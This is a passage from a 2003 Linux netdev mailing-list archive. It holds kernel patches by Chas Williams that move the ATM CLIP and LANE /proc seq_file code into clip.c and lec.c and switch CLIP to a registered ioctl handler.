= (void *)1; + if (*pos) + ret = arp_get_idx(state, *pos); +out: + return ret; +} + +static void arp_seq_stop(struct seq_file *seq, void *v) +{ + struct arp_state *state = seq->private; + + if (state->bucket != -1) + read_unlock_bh(&clip_tbl_hook->lock); +} + +static void *arp_seq_next(struct seq_file *seq, void *v, loff_t *pos) +{ + struct arp_state *state = seq->private; + + v = arp_get_idx(state, 1); + *pos += !!PTR_ERR(v); + return v; +} + +static int arp_seq_show(struct seq_file *seq, void *v) +{ + static char atm_arp_banner[] = + "IPitf TypeEncp Idle IP address ATM address\n"; + + if (v == (void *)1) + seq_puts(seq, atm_arp_banner); + else { + struct arp_state *state = seq->private; + struct neighbour *n = state->n; + struct clip_vcc *vcc = state->vcc; + + atmarp_info(seq, n->dev, NEIGH2ENTRY(n), vcc); + } + return 0; +} + +static struct seq_operations arp_seq_ops = { + .start = arp_seq_start, + .next = arp_seq_next, + .stop = arp_seq_stop, + .show = arp_seq_show, +}; + +static int arp_seq_open(struct inode *inode, struct file *file) +{ + struct arp_state *state; + struct seq_file *seq; + int rc = -EAGAIN; + + if (!try_atm_clip_ops()) + goto out; + + state = kmalloc(sizeof(*state), GFP_KERNEL); + if (!state) { + rc = -ENOMEM; + goto out_put; + } + + rc = seq_open(file, &arp_seq_ops); + if (rc) + goto out_kfree; + + seq = file->private_data; + seq->private = state; +out: + return rc; + +out_put: + module_put(atm_clip_ops->owner); +out_kfree: + kfree(state); + goto out; +} + +static int arp_seq_release(struct inode *inode, struct file *file) +{ + module_put(atm_clip_ops->owner); + return seq_release_private(inode, file); +} + +static struct file_operations arp_seq_fops = { + .open = arp_seq_open, + .read = seq_read, + .llseek = seq_lseek, + .release = arp_seq_release, + .owner = THIS_MODULE +}; +#endif + static int __init atm_clip_init(void) { +#ifdef CONFIG_PROC_FS + struct proc_dir_entry *p; + + p = create_proc_entry("arp", S_IRUGO, atm_proc_root); + if (p) + p->proc_fops = &arp_seq_fops; +#endif + /* we should use neigh_table_init() */ clip_tbl.lock = RW_LOCK_UNLOCKED; clip_tbl.kmem_cachep = kmem_cache_create(clip_tbl.id, @@ -790,6 +1012,8 @@ static void __exit atm_clip_exit(void) { struct net_device *dev, *next; + + remove_proc_entry("arp", atm_proc_root); atm_clip_ops_set(NULL); diff -Nru a/net/atm/proc.c b/net/atm/proc.c --- a/net/atm/proc.c Thu Sep 25 09:24:43 2003 +++ b/net/atm/proc.c Thu Sep 25 09:24:43 2003 @@ -22,8 +22,6 @@ #include #include #include -#include -#include #include /* for __init */ #include #include @@ -70,70 +68,6 @@ seq_putc(seq, '\n'); } -#if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) - -static void svc_addr(struct seq_file *seq, struct sockaddr_atmsvc *addr) -{ - static int code[] = { 1,2,10,6,1,0 }; - static int e164[] = { 1,8,4,6,1,0 }; - - if (*addr->sas_addr.pub) { - seq_printf(seq, "%s", addr->sas_addr.pub); - if (*addr->sas_addr.prv) - seq_putc(seq, '+'); - } else if (!*addr->sas_addr.prv) { - seq_printf(seq, "%s", "(none)"); - return; - } - if (*addr->sas_addr.prv) { - unsigned char *prv = addr->sas_addr.prv; - int *fields; - int i, j; - - fields = *prv == ATM_AFI_E164 ? e164 : code; - for (i = 0; fields[i]; i++) { - for (j = fields[i]; j; j--) - seq_printf(seq, "%02X", *prv++); - if (fields[i+1]) - seq_putc(seq, '.'); - } - } -} - -static void atmarp_info(struct seq_file *seq, struct net_device *dev, - struct atmarp_entry *entry, struct clip_vcc *clip_vcc) -{ - char buf[17]; - int svc, off; - - svc = !clip_vcc || clip_vcc->vcc->sk->sk_family == AF_ATMSVC; - seq_printf(seq, "%-6s%-4s%-4s%5ld ", dev->name, svc ? "SVC" : "PVC", - !clip_vcc || clip_vcc->encap ? "LLC" : "NULL", - (jiffies-(clip_vcc ? clip_vcc->last_use : entry->neigh->used))/HZ); - - off = snprintf(buf, sizeof(buf) - 1, "%d.%d.%d.%d", NIPQUAD(entry->ip)); - while (off < 16) - buf[off++] = ' '; - buf[off] = '\0'; - seq_printf(seq, "%s", buf); - - if (!clip_vcc) { - if (time_before(jiffies, entry->expires)) - seq_printf(seq, "(resolving)\n"); - else - seq_printf(seq, "(expired, ref %d)\n", - atomic_read(&entry->neigh->refcnt)); - } else if (!svc) { - seq_printf(seq, "%d.%d.%d\n", clip_vcc->vcc->dev->number, - clip_vcc->vcc->vpi, clip_vcc->vcc->vci); - } else { - svc_addr(seq, &clip_vcc->vcc->remote); - seq_putc(seq, '\n'); - } -} - -#endif /* CONFIG_ATM_CLIP */ - struct vcc_state { struct sock *sk; int family; @@ -485,156 +419,6 @@ .release = vcc_seq_release, }; -#if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) - -struct arp_state { - int bucket; - struct neighbour *n; - struct clip_vcc *vcc; -}; - -static void *arp_vcc_walk(struct arp_state *state, - struct atmarp_entry *e, loff_t *l) -{ - struct clip_vcc *vcc = state->vcc; - - if (!vcc) - vcc = e->vccs; - if (vcc == (void *)1) { - vcc = e->vccs; - --*l; - } - for (; vcc; vcc = vcc->next) { - if (--*l < 0) - break; - } - state->vcc = vcc; - return (*l < 0) ? state : NULL; -} - -static void *arp_get_idx(struct arp_state *state, loff_t l) -{ - void *v = NULL; - - for (; state->bucket <= NEIGH_HASHMASK; state->bucket++) { - for (; state->n; state->n = state->n->next) { - v = arp_vcc_walk(state, NEIGH2ENTRY(state->n), &l); - if (v) - goto done; - } - state->n = clip_tbl_hook->hash_buckets[state->bucket + 1]; - } -done: - return v; -} - -static void *arp_seq_start(struct seq_file *seq, loff_t *pos) -{ - struct arp_state *state = seq->private; - void *ret = (void *)1; - - if (!clip_tbl_hook) { - state->bucket = -1; - goto out; - } - - read_lock_bh(&clip_tbl_hook->lock); - state->bucket = 0; - state->n = clip_tbl_hook->hash_buckets[0]; - state->vcc = (void *)1; - if (*pos) - ret = arp_get_idx(state, *pos); -out: - return ret; -} - -static void arp_seq_stop(struct seq_file *seq, void *v) -{ - struct arp_state *state = seq->private; - - if (state->bucket != -1) - read_unlock_bh(&clip_tbl_hook->lock); -} - -static void *arp_seq_next(struct seq_file *seq, void *v, loff_t *pos) -{ - struct arp_state *state = seq->private; - - v = arp_get_idx(state, 1); - *pos += !!PTR_ERR(v); - return v; -} - -static int arp_seq_show(struct seq_file *seq, void *v) -{ - static char atm_arp_banner[] = - "IPitf TypeEncp Idle IP address ATM address\n"; - - if (v == (void *)1) - seq_puts(seq, atm_arp_banner); - else { - struct arp_state *state = seq->private; - struct neighbour *n = state->n; - struct clip_vcc *vcc = state->vcc; - - atmarp_info(seq, n->dev, NEIGH2ENTRY(n), vcc); - } - return 0; -} - -static struct seq_operations arp_seq_ops = { - .start = arp_seq_start, - .next = arp_seq_next, - .stop = arp_seq_stop, - .show = arp_seq_show, -}; - -static int arp_seq_open(struct inode *inode, struct file *file) -{ - struct arp_state *state; - struct seq_file *seq; - int rc = -EAGAIN; - - if (!try_atm_clip_ops()) - goto out; - - state = kmalloc(sizeof(*state), GFP_KERNEL); - if (!state) { - rc = -ENOMEM; - goto out_put; - } - - rc = seq_open(file, &arp_seq_ops); - if (rc) - goto out_kfree; - - seq = file->private_data; - seq->private = state; -out: - return rc; - -out_put: - module_put(atm_clip_ops->owner); -out_kfree: - kfree(state); - goto out; -} - -static int arp_seq_release(struct inode *inode, struct file *file) -{ - module_put(atm_clip_ops->owner); - return seq_release_private(inode, file); -} - -static struct file_operations arp_seq_fops = { - .open = arp_seq_open, - .read = seq_read, - .llseek = seq_lseek, - .release = arp_seq_release, -}; - -#endif /* CONFIG_ATM_CLIP */ - #if defined(CONFIG_ATM_LANE) || defined(CONFIG_ATM_LANE_MODULE) struct lec_state { @@ -936,9 +720,6 @@ { .name = "pvc", .proc_fops = &pvc_seq_fops }, { .name = "svc", .proc_fops = &svc_seq_fops }, { .name = "vc", .proc_fops = &vcc_seq_fops }, -#if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) - { .name = "arp", .proc_fops = &arp_seq_fops }, -#endif #if defined(CONFIG_ATM_LANE) || defined(CONFIG_ATM_LANE_MODULE) { .name = "lec", .proc_fops = &lec_seq_fops }, #endif From chas@cmf.nrl.navy.mil Thu Sep 25 09:32:08 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 09:32:17 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PGW6Fx002755 for ; Thu, 25 Sep 2003 09:32:07 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8PGDOkT007056; Thu, 25 Sep 2003 12:13:24 -0400 (EDT) Message-Id: <200309251613.h8PGDOkT007056@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: move lane seq_file ops to lec.c [1/3] Reply-To: chas3@users.sourceforge.net Date: Thu, 25 Sep 2003 12:13:25 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 233 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 13888 Lines: 596 please apply to 2.6 -- thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1455 -> 1.1456 # net/atm/proc.c 1.32 -> 1.33 # net/atm/lec.c 1.39 -> 1.40 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/23 chas@relax.cmf.nrl.navy.mil 1.1456 # [ATM]: move lane seq_file ops to lec.c [1/3] # -------------------------------------------- # diff -Nru a/net/atm/lec.c b/net/atm/lec.c --- a/net/atm/lec.c Thu Sep 25 09:25:33 2003 +++ b/net/atm/lec.c Thu Sep 25 09:25:33 2003 @@ -21,6 +21,8 @@ #include #include #include +#include +#include /* TokenRing if needed */ #ifdef CONFIG_TR @@ -842,8 +844,264 @@ .owner = THIS_MODULE }; + +#ifdef CONFIG_PROC_FS +static char* lec_arp_get_status_string(unsigned char status) +{ + static char *lec_arp_status_string[] = { + "ESI_UNKNOWN ", + "ESI_ARP_PENDING ", + "ESI_VC_PENDING ", + " ", + "ESI_FLUSH_PENDING ", + "ESI_FORWARD_DIRECT" + }; + + if (status > ESI_FORWARD_DIRECT) + status = 3; /* ESI_UNDEFINED */ + return lec_arp_status_string[status]; +} + +static void lec_info(struct seq_file *seq, struct lec_arp_table *entry) +{ + int i; + + for (i = 0; i < ETH_ALEN; i++) + seq_printf(seq, "%2.2x", entry->mac_addr[i] & 0xff); + seq_printf(seq, " "); + for (i = 0; i < ATM_ESA_LEN; i++) + seq_printf(seq, "%2.2x", entry->atm_addr[i] & 0xff); + seq_printf(seq, " %s %4.4x", lec_arp_get_status_string(entry->status), + entry->flags & 0xffff); + if (entry->vcc) + seq_printf(seq, "%3d %3d ", entry->vcc->vpi, entry->vcc->vci); + else + seq_printf(seq, " "); + if (entry->recv_vcc) { + seq_printf(seq, " %3d %3d", entry->recv_vcc->vpi, + entry->recv_vcc->vci); + } + seq_putc(seq, '\n'); +} + + +struct lec_state { + unsigned long flags; + struct lec_priv *locked; + struct lec_arp_table *entry; + struct net_device *dev; + int itf; + int arp_table; + int misc_table; +}; + +static void *lec_tbl_walk(struct lec_state *state, struct lec_arp_table *tbl, + loff_t *l) +{ + struct lec_arp_table *e = state->entry; + + if (!e) + e = tbl; + if (e == (void *)1) { + e = tbl; + --*l; + } + for (; e; e = e->next) { + if (--*l < 0) + break; + } + state->entry = e; + return (*l < 0) ? state : NULL; +} + +static void *lec_arp_walk(struct lec_state *state, loff_t *l, + struct lec_priv *priv) +{ + void *v = NULL; + int p; + + for (p = state->arp_table; p < LEC_ARP_TABLE_SIZE; p++) { + v = lec_tbl_walk(state, priv->lec_arp_tables[p], l); + if (v) + break; + } + state->arp_table = p; + return v; +} + +static void *lec_misc_walk(struct lec_state *state, loff_t *l, + struct lec_priv *priv) +{ + struct lec_arp_table *lec_misc_tables[] = { + priv->lec_arp_empty_ones, + priv->lec_no_forward, + priv->mcast_fwds + }; + void *v = NULL; + int q; + + for (q = state->misc_table; q < ARRAY_SIZE(lec_misc_tables); q++) { + v = lec_tbl_walk(state, lec_misc_tables[q], l); + if (v) + break; + } + state->misc_table = q; + return v; +} + +static void *lec_priv_walk(struct lec_state *state, loff_t *l, + struct lec_priv *priv) +{ + if (!state->locked) { + state->locked = priv; + spin_lock_irqsave(&priv->lec_arp_lock, state->flags); + } + if (!lec_arp_walk(state, l, priv) && + !lec_misc_walk(state, l, priv)) { + spin_unlock_irqrestore(&priv->lec_arp_lock, state->flags); + state->locked = NULL; + /* Partial state reset for the next time we get called */ + state->arp_table = state->misc_table = 0; + } + return state->locked; +} + +static void *lec_itf_walk(struct lec_state *state, loff_t *l) +{ + struct net_device *dev; + void *v; + + dev = state->dev ? state->dev : dev_lec[state->itf]; + v = (dev && dev->priv) ? lec_priv_walk(state, l, dev->priv) : NULL; + if (!v && dev) { + dev_put(dev); + /* Partial state reset for the next time we get called */ + dev = NULL; + } + state->dev = dev; + return v; +} + +static void *lec_get_idx(struct lec_state *state, loff_t l) +{ + void *v = NULL; + + for (; state->itf < MAX_LEC_ITF; state->itf++) { + v = lec_itf_walk(state, &l); + if (v) + break; + } + return v; +} + +static void *lec_seq_start(struct seq_file *seq, loff_t *pos) +{ + struct lec_state *state = seq->private; + + state->itf = 0; + state->dev = NULL; + state->locked = NULL; + state->arp_table = 0; + state->misc_table = 0; + state->entry = (void *)1; + + return *pos ? lec_get_idx(state, *pos) : (void*)1; +} + +static void lec_seq_stop(struct seq_file *seq, void *v) +{ + struct lec_state *state = seq->private; + + if (state->dev) { + spin_unlock_irqrestore(&state->locked->lec_arp_lock, + state->flags); + dev_put(state->dev); + } +} + +static void *lec_seq_next(struct seq_file *seq, void *v, loff_t *pos) +{ + struct lec_state *state = seq->private; + + v = lec_get_idx(state, 1); + *pos += !!PTR_ERR(v); + return v; +} + +static int lec_seq_show(struct seq_file *seq, void *v) +{ + static char lec_banner[] = "Itf MAC ATM destination" + " Status Flags " + "VPI/VCI Recv VPI/VCI\n"; + + if (v == (void *)1) + seq_puts(seq, lec_banner); + else { + struct lec_state *state = seq->private; + struct net_device *dev = state->dev; + + seq_printf(seq, "%s ", dev->name); + lec_info(seq, state->entry); + } + return 0; +} + +static struct seq_operations lec_seq_ops = { + .start = lec_seq_start, + .next = lec_seq_next, + .stop = lec_seq_stop, + .show = lec_seq_show, +}; + +static int lec_seq_open(struct inode *inode, struct file *file) +{ + struct lec_state *state; + struct seq_file *seq; + int rc = -EAGAIN; + + state = kmalloc(sizeof(*state), GFP_KERNEL); + if (!state) { + rc = -ENOMEM; + goto out; + } + + rc = seq_open(file, &lec_seq_ops); + if (rc) + goto out_kfree; + seq = file->private_data; + seq->private = state; +out: + return rc; + +out_kfree: + kfree(state); + goto out; +} + +static int lec_seq_release(struct inode *inode, struct file *file) +{ + return seq_release_private(inode, file); +} + +static struct file_operations lec_seq_fops = { + .owner = THIS_MODULE, + .open = lec_seq_open, + .read = seq_read, + .llseek = seq_lseek, + .release = lec_seq_release, +}; +#endif + static int __init lane_module_init(void) { +#ifdef CONFIG_PROC_FS + struct proc_dir_entry *p; + + p = create_proc_entry("lec", S_IRUGO, atm_proc_root); + if (p) + p->proc_fops = &lec_seq_fops; +#endif + atm_lane_ops_set(&__atm_lane_ops); printk("lec.c: " __DATE__ " " __TIME__ " initialized\n"); return 0; @@ -853,6 +1111,8 @@ { int i; struct lec_priv *priv; + + remove_proc_entry("lec", atm_proc_root); atm_lane_ops_set(NULL); diff -Nru a/net/atm/proc.c b/net/atm/proc.c --- a/net/atm/proc.c Thu Sep 25 09:25:32 2003 +++ b/net/atm/proc.c Thu Sep 25 09:25:32 2003 @@ -31,11 +31,6 @@ #include "common.h" /* atm_proc_init prototype */ #include "signaling.h" /* to get sigd - ugly too */ -#if defined(CONFIG_ATM_LANE) || defined(CONFIG_ATM_LANE_MODULE) -#include "lec.h" -#include "lec_arpc.h" -#endif - static ssize_t proc_dev_atm_read(struct file *file,char *buf,size_t count, loff_t *pos); @@ -237,49 +232,6 @@ seq_putc(seq, '\n'); } -#if defined(CONFIG_ATM_LANE) || defined(CONFIG_ATM_LANE_MODULE) - -static char* lec_arp_get_status_string(unsigned char status) -{ - static char *lec_arp_status_string[] = { - "ESI_UNKNOWN ", - "ESI_ARP_PENDING ", - "ESI_VC_PENDING ", - " ", - "ESI_FLUSH_PENDING ", - "ESI_FORWARD_DIRECT", - "" - }; - - if (status > ESI_FORWARD_DIRECT) - status = ESI_FORWARD_DIRECT + 1; - return lec_arp_status_string[status]; -} - -static void lec_info(struct seq_file *seq, struct lec_arp_table *entry) -{ - int i; - - for (i = 0; i < ETH_ALEN; i++) - seq_printf(seq, "%2.2x", entry->mac_addr[i] & 0xff); - seq_printf(seq, " "); - for (i = 0; i < ATM_ESA_LEN; i++) - seq_printf(seq, "%2.2x", entry->atm_addr[i] & 0xff); - seq_printf(seq, " %s %4.4x", lec_arp_get_status_string(entry->status), - entry->flags & 0xffff); - if (entry->vcc) - seq_printf(seq, "%3d %3d ", entry->vcc->vpi, entry->vcc->vci); - else - seq_printf(seq, " "); - if (entry->recv_vcc) { - seq_printf(seq, " %3d %3d", entry->recv_vcc->vpi, - entry->recv_vcc->vci); - } - seq_putc(seq, '\n'); -} - -#endif /* CONFIG_ATM_LANE */ - static int atm_dev_seq_show(struct seq_file *seq, void *v) { static char atm_dev_banner[] = @@ -419,218 +371,6 @@ .release = vcc_seq_release, }; -#if defined(CONFIG_ATM_LANE) || defined(CONFIG_ATM_LANE_MODULE) - -struct lec_state { - unsigned long flags; - struct lec_priv *locked; - struct lec_arp_table *entry; - struct net_device *dev; - int itf; - int arp_table; - int misc_table; -}; - -static void *lec_tbl_walk(struct lec_state *state, struct lec_arp_table *tbl, - loff_t *l) -{ - struct lec_arp_table *e = state->entry; - - if (!e) - e = tbl; - if (e == (void *)1) { - e = tbl; - --*l; - } - for (; e; e = e->next) { - if (--*l < 0) - break; - } - state->entry = e; - return (*l < 0) ? state : NULL; -} - -static void *lec_arp_walk(struct lec_state *state, loff_t *l, - struct lec_priv *priv) -{ - void *v = NULL; - int p; - - for (p = state->arp_table; p < LEC_ARP_TABLE_SIZE; p++) { - v = lec_tbl_walk(state, priv->lec_arp_tables[p], l); - if (v) - break; - } - state->arp_table = p; - return v; -} - -static void *lec_misc_walk(struct lec_state *state, loff_t *l, - struct lec_priv *priv) -{ - struct lec_arp_table *lec_misc_tables[] = { - priv->lec_arp_empty_ones, - priv->lec_no_forward, - priv->mcast_fwds - }; - void *v = NULL; - int q; - - for (q = state->misc_table; q < ARRAY_SIZE(lec_misc_tables); q++) { - v = lec_tbl_walk(state, lec_misc_tables[q], l); - if (v) - break; - } - state->misc_table = q; - return v; -} - -static void *lec_priv_walk(struct lec_state *state, loff_t *l, - struct lec_priv *priv) -{ - if (!state->locked) { - state->locked = priv; - spin_lock_irqsave(&priv->lec_arp_lock, state->flags); - } - if (!lec_arp_walk(state, l, priv) && - !lec_misc_walk(state, l, priv)) { - spin_unlock_irqrestore(&priv->lec_arp_lock, state->flags); - state->locked = NULL; - /* Partial state reset for the next time we get called */ - state->arp_table = state->misc_table = 0; - } - return state->locked; -} - -static void *lec_itf_walk(struct lec_state *state, loff_t *l) -{ - struct net_device *dev; - void *v; - - dev = state->dev ? state->dev : atm_lane_ops->get_lec(state->itf); - v = (dev && dev->priv) ? lec_priv_walk(state, l, dev->priv) : NULL; - if (!v && dev) { - dev_put(dev); - /* Partial state reset for the next time we get called */ - dev = NULL; - } - state->dev = dev; - return v; -} - -static void *lec_get_idx(struct lec_state *state, loff_t l) -{ - void *v = NULL; - - for (; state->itf < MAX_LEC_ITF; state->itf++) { - v = lec_itf_walk(state, &l); - if (v) - break; - } - return v; -} - -static void *lec_seq_start(struct seq_file *seq, loff_t *pos) -{ - struct lec_state *state = seq->private; - - state->itf = 0; - state->dev = NULL; - state->locked = NULL; - state->arp_table = 0; - state->misc_table = 0; - state->entry = (void *)1; - - return *pos ? lec_get_idx(state, *pos) : (void*)1; -} - -static void lec_seq_stop(struct seq_file *seq, void *v) -{ - struct lec_state *state = seq->private; - - if (state->dev) { - spin_unlock_irqrestore(&state->locked->lec_arp_lock, - state->flags); - dev_put(state->dev); - } -} - -static void *lec_seq_next(struct seq_file *seq, void *v, loff_t *pos) -{ - struct lec_state *state = seq->private; - - v = lec_get_idx(state, 1); - *pos += !!PTR_ERR(v); - return v; -} - -static int lec_seq_show(struct seq_file *seq, void *v) -{ - static char lec_banner[] = "Itf MAC ATM destination" - " Status Flags " - "VPI/VCI Recv VPI/VCI\n"; - - if (v == (void *)1) - seq_puts(seq, lec_banner); - else { - struct lec_state *state = seq->private; - struct net_device *dev = state->dev; - - seq_printf(seq, "%s ", dev->name); - lec_info(seq, state->entry); - } - return 0; -} - -static struct seq_operations lec_seq_ops = { - .start = lec_seq_start, - .next = lec_seq_next, - .stop = lec_seq_stop, - .show = lec_seq_show, -}; - -static int lec_seq_open(struct inode *inode, struct file *file) -{ - struct lec_state *state; - struct seq_file *seq; - int rc = -EAGAIN; - - if (!try_atm_lane_ops()) - goto out; - - state = kmalloc(sizeof(*state), GFP_KERNEL); - if (!state) { - rc = -ENOMEM; - goto out; - } - - rc = seq_open(file, &lec_seq_ops); - if (rc) - goto out_kfree; - seq = file->private_data; - seq->private = state; -out: - return rc; -out_kfree: - kfree(state); - goto out; -} - -static int lec_seq_release(struct inode *inode, struct file *file) -{ - module_put(atm_lane_ops->owner); - return seq_release_private(inode, file); -} - -static struct file_operations lec_seq_fops = { - .open = lec_seq_open, - .read = seq_read, - .llseek = seq_lseek, - .release = lec_seq_release, -}; - -#endif /* CONFIG_ATM_LANE */ - static ssize_t proc_dev_atm_read(struct file *file,char *buf,size_t count, loff_t *pos) { @@ -720,9 +460,6 @@ { .name = "pvc", .proc_fops = &pvc_seq_fops }, { .name = "svc", .proc_fops = &svc_seq_fops }, { .name = "vc", .proc_fops = &vcc_seq_fops }, -#if defined(CONFIG_ATM_LANE) || defined(CONFIG_ATM_LANE_MODULE) - { .name = "lec", .proc_fops = &lec_seq_fops }, -#endif { .name = NULL, .proc_fops = NULL } }; From chas@cmf.nrl.navy.mil Thu Sep 25 09:32:08 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 09:32:18 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PGW6G1002755 for ; Thu, 25 Sep 2003 09:32:08 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8PGBbkT007001; Thu, 25 Sep 2003 12:11:37 -0400 (EDT) Message-Id: <200309251611.h8PGBbkT007001@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: [ioctl][7/8] use new code for clip (from levon@movementarian.org) Reply-To: chas3@users.sourceforge.net Date: Thu, 25 Sep 2003 12:11:39 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 235 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 7550 Lines: 305 please apply to 2.6 -- thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1453 -> 1.1454 # net/atm/ioctl.c 1.4 -> 1.5 # net/atm/protocols.h 1.1 -> 1.2 # include/net/atmclip.h 1.3 -> 1.4 # net/atm/clip.c 1.28 -> 1.29 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/23 chas@relax.cmf.nrl.navy.mil 1.1454 # [ATM]: [ioctl][7/8] use new code for clip (from levon@movementarian.org) # -------------------------------------------- # diff -Nru a/include/net/atmclip.h b/include/net/atmclip.h --- a/include/net/atmclip.h Thu Sep 25 09:24:51 2003 +++ b/include/net/atmclip.h Thu Sep 25 09:24:51 2003 @@ -56,29 +56,7 @@ #ifdef __KERNEL__ -struct atm_clip_ops { - int (*clip_create)(int number); - int (*clip_mkip)(struct atm_vcc *vcc,int timeout); - int (*clip_setentry)(struct atm_vcc *vcc,u32 ip); - int (*clip_encap)(struct atm_vcc *vcc,int mode); - void (*clip_push)(struct atm_vcc *vcc,struct sk_buff *skb); - int (*atm_init_atmarp)(struct atm_vcc *vcc); - struct module *owner; -}; - -void atm_clip_ops_set(struct atm_clip_ops *); -#if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) -int try_atm_clip_ops(void); -#else -static inline int try_atm_clip_ops(void) -{ - return 0; -} -#endif - - extern struct neigh_table *clip_tbl_hook; -extern struct atm_clip_ops *atm_clip_ops; #endif #endif diff -Nru a/net/atm/clip.c b/net/atm/clip.c --- a/net/atm/clip.c Thu Sep 25 09:24:51 2003 +++ b/net/atm/clip.c Thu Sep 25 09:24:51 2003 @@ -762,14 +762,51 @@ return 0; } -static struct atm_clip_ops __atm_clip_ops = { - .clip_create = clip_create, - .clip_mkip = clip_mkip, - .clip_setentry = clip_setentry, - .clip_encap = clip_encap, - .clip_push = clip_push, - .atm_init_atmarp = atm_init_atmarp, - .owner = THIS_MODULE +static int clip_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg) +{ + struct atm_vcc *vcc = ATM_SD(sock); + int err = 0; + + switch (cmd) { + case SIOCMKCLIP: + case ATMARPD_CTRL: + case ATMARP_MKIP: + case ATMARP_SETENTRY: + case ATMARP_ENCAP: + if (!capable(CAP_NET_ADMIN)) + return -EPERM; + break; + default: + return -ENOIOCTLCMD; + } + + switch (cmd) { + case SIOCMKCLIP: + err = clip_create(arg); + break; + case ATMARPD_CTRL: + err = atm_init_atmarp(vcc); + if (!err) { + sock->state = SS_CONNECTED; + __module_get(THIS_MODULE); + } + break; + case ATMARP_MKIP: + err = clip_mkip(vcc ,arg); + break; + case ATMARP_SETENTRY: + err = clip_setentry(vcc, arg); + break; + case ATMARP_ENCAP: + err = clip_encap(vcc, arg); + break; + } + return err; +} + +static struct atm_ioctl clip_ioctl_ops = { + .owner = THIS_MODULE, + .ioctl = clip_ioctl, }; #ifdef CONFIG_PROC_FS @@ -942,13 +979,10 @@ struct seq_file *seq; int rc = -EAGAIN; - if (!try_atm_clip_ops()) - goto out; - state = kmalloc(sizeof(*state), GFP_KERNEL); if (!state) { rc = -ENOMEM; - goto out_put; + goto out_kfree; } rc = seq_open(file, &arp_seq_ops); @@ -960,8 +994,6 @@ out: return rc; -out_put: - module_put(atm_clip_ops->owner); out_kfree: kfree(state); goto out; @@ -969,7 +1001,6 @@ static int arp_seq_release(struct inode *inode, struct file *file) { - module_put(atm_clip_ops->owner); return seq_release_private(inode, file); } @@ -1004,7 +1035,7 @@ skb_queue_head_init(&clip_tbl.proxy_queue); clip_tbl_hook = &clip_tbl; - atm_clip_ops_set(&__atm_clip_ops); + register_atm_ioctl(&clip_ioctl_ops); return 0; } @@ -1015,7 +1046,7 @@ remove_proc_entry("arp", atm_proc_root); - atm_clip_ops_set(NULL); + deregister_atm_ioctl(&clip_ioctl_ops); neigh_ifdown(&clip_tbl, NULL); dev = clip_devs; diff -Nru a/net/atm/ioctl.c b/net/atm/ioctl.c --- a/net/atm/ioctl.c Thu Sep 25 09:24:51 2003 +++ b/net/atm/ioctl.c Thu Sep 25 09:24:51 2003 @@ -15,11 +15,9 @@ #include /* for ioctls */ #include #include +#include #include -#ifdef CONFIG_ATM_CLIP -#include /* for clip_create */ -#endif #include "resources.h" #include "signaling.h" /* for WAITING and sigd_attach */ @@ -63,36 +61,6 @@ #endif #endif -#if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) -#include -struct atm_clip_ops *atm_clip_ops; -static DECLARE_MUTEX(atm_clip_ops_mutex); - -void atm_clip_ops_set(struct atm_clip_ops *hook) -{ - down(&atm_clip_ops_mutex); - atm_clip_ops = hook; - up(&atm_clip_ops_mutex); -} - -int try_atm_clip_ops(void) -{ - down(&atm_clip_ops_mutex); - if (atm_clip_ops && try_module_get(atm_clip_ops->owner)) { - up(&atm_clip_ops_mutex); - return 1; - } - up(&atm_clip_ops_mutex); - return 0; -} - -#ifdef CONFIG_ATM_CLIP_MODULE -EXPORT_SYMBOL(atm_clip_ops); -EXPORT_SYMBOL(try_atm_clip_ops); -EXPORT_SYMBOL(atm_clip_ops_set); -#endif -#endif - static DECLARE_MUTEX(ioctl_mutex); static LIST_HEAD(ioctl_list); @@ -177,68 +145,6 @@ if (!error) sock->state = SS_CONNECTED; goto done; -#if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) - case SIOCMKCLIP: - if (!capable(CAP_NET_ADMIN)) { - error = -EPERM; - goto done; - } - if 